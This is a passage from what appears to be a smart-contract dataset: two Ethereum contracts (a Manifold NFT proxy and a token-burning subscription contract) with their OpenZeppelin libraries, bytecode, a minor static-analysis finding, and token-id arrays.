1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,453 | 0x952cf5172dde3d7bdb7c655f834ab69993e1b1eb | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: Roo C. Kesoll
/// @author: manifold.xyz
import "./ERC721Creator.sol";
////////////////////////////////////
// //
// //
// __ __ __ __ __ __ //
// / // // /()()/ // // / //
// / // // //7/7/ // // / //
// /_//_//_//////_//_//_/ //
// //
// //
// //
// //
////////////////////////////////////
contract i323 is ERC721Creator {
constructor() ERC721Creator("Roo C. Kesoll", "i323") {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/proxy/Proxy.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract ERC721Creator is Proxy {
constructor(string memory name, string memory symbol) {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a;
Address.functionDelegateCall(
0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a,
abi.encodeWithSignature("initialize(string,string)", name, symbol)
);
}
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function implementation() public view returns (address) {
return _implementation();
}
function _implementation() internal override view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internal call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
} | 0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102cb60279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b60606001600160a01b0384163b61019d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101b8919061024b565b600060405180830381855af49150503d80600081146101f3576040519150601f19603f3d011682016040523d82523d6000602084013e6101f8565b606091505b5091509150610208828286610212565b9695505050505050565b60608315610221575081610105565b8251156102315782518084602001fd5b8160405162461bcd60e51b81526004016101949190610267565b6000825161025d81846020870161029a565b9190910192915050565b602081526000825180602084015261028681604085016020870161029a565b601f01601f19169190910160400192915050565b60005b838110156102b557818101518382015260200161029d565b838111156102c4576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220a4517e84533228ce5ea36885117dfa92f1adcd5165e6abb6fc98e14f12bfc88264736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
25746,
2278,
2546,
22203,
2581,
2475,
14141,
2063,
29097,
2581,
2497,
18939,
2581,
2278,
26187,
2629,
2546,
2620,
22022,
7875,
2575,
2683,
2683,
2683,
2509,
2063,
2487,
2497,
2487,
15878,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1013,
1013,
1030,
2516,
1024,
20996,
2080,
1039,
1012,
17710,
19454,
2140,
1013,
1013,
1013,
1030,
3166,
1024,
19726,
1012,
1060,
2100,
2480,
12324,
1000,
1012,
1013,
9413,
2278,
2581,
17465,
16748,
8844,
1012,
14017,
1000,
1025,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,454 | 0x952d3877501B5f5D8D1b72ff64EC6DB8F2C1d307 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "./SubscriptionHistory.sol";
import "./IUniswapV2Router.sol";
contract FlashInuSubscription is Ownable , SubscriptionHistory {
using Counters for Counters.Counter;
using SafeMath for uint256;
using SafeMath for uint256;
bool public subsEthStatus = false;
bool public subsTokenStatus = false;
IUniswapV2Router02 public uniswapV2Router;
address public pair = 0x49b5374F0Ff4Cb8649a198Aca1F4a5E46DC50eBb;
Counters.Counter private _orderIdCounter;
uint256 public FLASH_DECIMAL = 18;
uint256 public weeklyETHRate = 0.15 ether;
uint256 public montlyETHRate = 0.5 ether;
IERC20 public token;
address public constant deadAddress = address(0xdead);
address public feeReceiver = 0x197C499d4739e73A87C3b038c0c4DaB268B035c1;
uint256 public feeReceiverPercent = 0;
event BurnToken(address subscriber, uint256 amount, uint256 numberOfDays);
constructor() {
token = IERC20(0x13739cF9c9BC2fC1E06E74413c9C192757a65587);
}
function setWeekelyPriceETH(uint256 _price) external onlyOwner {
weeklyETHRate = _price;
}
function setMonthlyPriceETH(uint256 _price) external onlyOwner {
montlyETHRate = _price;
}
function totalSubscriptions() public view returns (uint256) {
return _orderIdCounter.current();
}
function getNextOrderId() private returns (uint256){
_orderIdCounter.increment();
return _orderIdCounter.current();
}
function addSubscription(address _subscriber, uint256 _numberOfDays) public onlyOwner returns (uint256){
require(_subscriber != address(0), "Can not be Zero address");
addSubscriber(_subscriber,0,block.timestamp, block.timestamp + _numberOfDays * 1 days,false,false,getNextOrderId());
return _orderIdCounter.current();
}
function getPrice() public view returns (uint256,uint256){
IUniswapV2Pair _pair = IUniswapV2Pair(pair);
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = _pair.getReserves();
uint256 weeklyAmount = reserve0 * weeklyETHRate / reserve1;
uint256 monthlyAmount = reserve0 * montlyETHRate / reserve1;
return (weeklyAmount ,monthlyAmount );
}
function updateFeeReceiver(address _feeReceiver) public onlyOwner{
require(_feeReceiver != address(0), "Can not be Zero address");
feeReceiver = _feeReceiver;
}
function updateFeeReceiverPercent(uint256 _percent) public onlyOwner{
feeReceiverPercent = _percent;
}
function updateToken(address tokenAddres) external onlyOwner {
require(tokenAddres != address(0), "Can not be Zero address");
token = IERC20(tokenAddres);
}
function updatepair(address tokenAddres) external onlyOwner {
require(tokenAddres != address(0), "Can not be Zero address");
pair = tokenAddres;
}
function setSubETHStatus(bool newState) public onlyOwner {
subsEthStatus = newState;
}
function setSubTokenStatus(bool newState) public onlyOwner {
subsTokenStatus = newState;
}
function withdraw() public onlyOwner {
uint balance = address(this).balance;
payable(msg.sender).transfer(balance);
}
function recoverToken(address _to,uint256 _tokenamount) external onlyOwner returns(bool _sent){
require(_to != address(0), "Can not be Zero address");
uint256 _contractBalance = IERC20(token).balanceOf(address(this));
require(_contractBalance >= _tokenamount);
_sent = IERC20(token).transfer(_to, _tokenamount);
}
function burnToken() external onlyOwner returns(bool _sent){
uint256 _contractBalance = IERC20(token).balanceOf(address(this));
require(_contractBalance > 0);
_sent = IERC20(token).transfer(deadAddress, _contractBalance);
}
receive() external payable {}
function approveTokens(uint256 _tokenamount) external returns(bool){
IERC20(token).approve(address(this), _tokenamount);
return true;
}
function checkAllowance(address sender) public view returns(uint256){
return IERC20(token).allowance(sender, address(this));
}
function subscribeUsingEth(uint _numberOfDays) external payable {
require(subsEthStatus, "Sub is Not active For ETH");
require(_numberOfDays == 7 || _numberOfDays == 30, "This subs is not supported.");
if(_numberOfDays == 7){
require(weeklyETHRate <= msg.value, "Insufficient Balance");
}else {
require(montlyETHRate <= msg.value, "Insufficient Balance");
}
addSubscriber(msg.sender,msg.value,block.timestamp, block.timestamp + _numberOfDays * 1 days,false,true,getNextOrderId());
}
function subscribeUsingToken(uint256 _tokenamount,uint _numberOfDays) public returns(bool) {
require(_tokenamount <= checkAllowance(msg.sender), "Please approve tokens before transferring");
require(subsTokenStatus, "Sub is Not active For Token");
require(_numberOfDays == 7 || _numberOfDays == 30, "This subs is not supported.");
// Transfer to dead and fee recever address
(uint256 weeklyAmount,uint256 monthlyAmount) = getPrice();
uint256 tokenToBurn = _tokenamount;
if(_numberOfDays == 7){
require(_tokenamount >= weeklyAmount,"Not enough token supplied");
tokenToBurn = weeklyAmount;
}else {
require(_tokenamount >= monthlyAmount,"Not enough token supplied");
tokenToBurn = monthlyAmount;
}
uint256 tokenUsed = tokenToBurn;
if(feeReceiverPercent>0){
uint256 feeReceverPart = feeReceiverPercent * tokenToBurn / 100;
IERC20(token).transferFrom(msg.sender,feeReceiver, feeReceverPart);
tokenToBurn = tokenToBurn - feeReceverPart;
}
if(tokenToBurn > 0){
IERC20(token).transferFrom(msg.sender,deadAddress, tokenToBurn);
emit BurnToken( msg.sender, tokenToBurn, _numberOfDays);
}
addSubscriber(msg.sender,tokenUsed,block.timestamp, block.timestamp + _numberOfDays * 1 days,true,false,getNextOrderId());
return true;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
